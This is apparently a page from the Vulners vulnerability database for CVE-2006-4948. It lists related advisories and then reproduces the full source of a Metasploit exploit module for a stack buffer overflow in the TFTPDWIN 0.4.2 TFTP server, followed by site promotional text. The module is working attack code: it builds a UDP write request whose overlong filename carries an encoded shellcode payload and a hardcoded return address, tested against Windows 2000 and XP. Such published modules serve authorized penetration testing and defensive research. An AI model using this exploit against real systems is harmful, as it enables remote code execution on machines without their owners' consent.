| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2006-4948 | 14 Dec 200800:00 | – | circl | |
| CVE-2006-4948 | 23 Sep 200601:00 | – | cve | |
| CVE-2006-4948 | 23 Sep 200601:00 | – | cvelist | |
| TFTPDWIN v0.4.2 Long Filename Buffer Overflow | 3 Oct 200712:17 | – | metasploit | |
| CVE-2006-4948 | 23 Sep 200601:07 | – | nvd | |
| ProSysInfo TFTPDWIN 0.4.2 Remote Buffer Overflow Vulnerability - Active Check | 31 Aug 200900:00 | – | openvas | |
| TFTPDWIN v0.4.2 Long Filename Buffer Overflow | 26 Nov 200900:00 | – | packetstorm | |
| Sql injection | 10 Mar 200722:19 | – | prion | |
| TFTPDWIN TFTP server buffer overflow | 21 Sep 200600:00 | – | securityvulns |
##
# $Id: tftpdwin_long_filename.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
'Description' => %q{
This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
an overly long file name to the tftpd.exe server, the stack can be overwritten.
},
'Author' => [ 'patrick' ],
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2006-4948' ],
[ 'OSVDB', '29032' ],
[ 'BID', '20131' ],
[ 'URL', 'http://www.milw0rm.com/exploits/3132' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 284,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en
[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe
],
'Privileged' => false,
'DisclosureDate' => 'Sep 21 2006',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(69),
], self)
end
def exploit
connect_udp
print_status("Trying target #{target.name}...")
sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)
udp_sock.put(sploit)
disconnect_udp
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation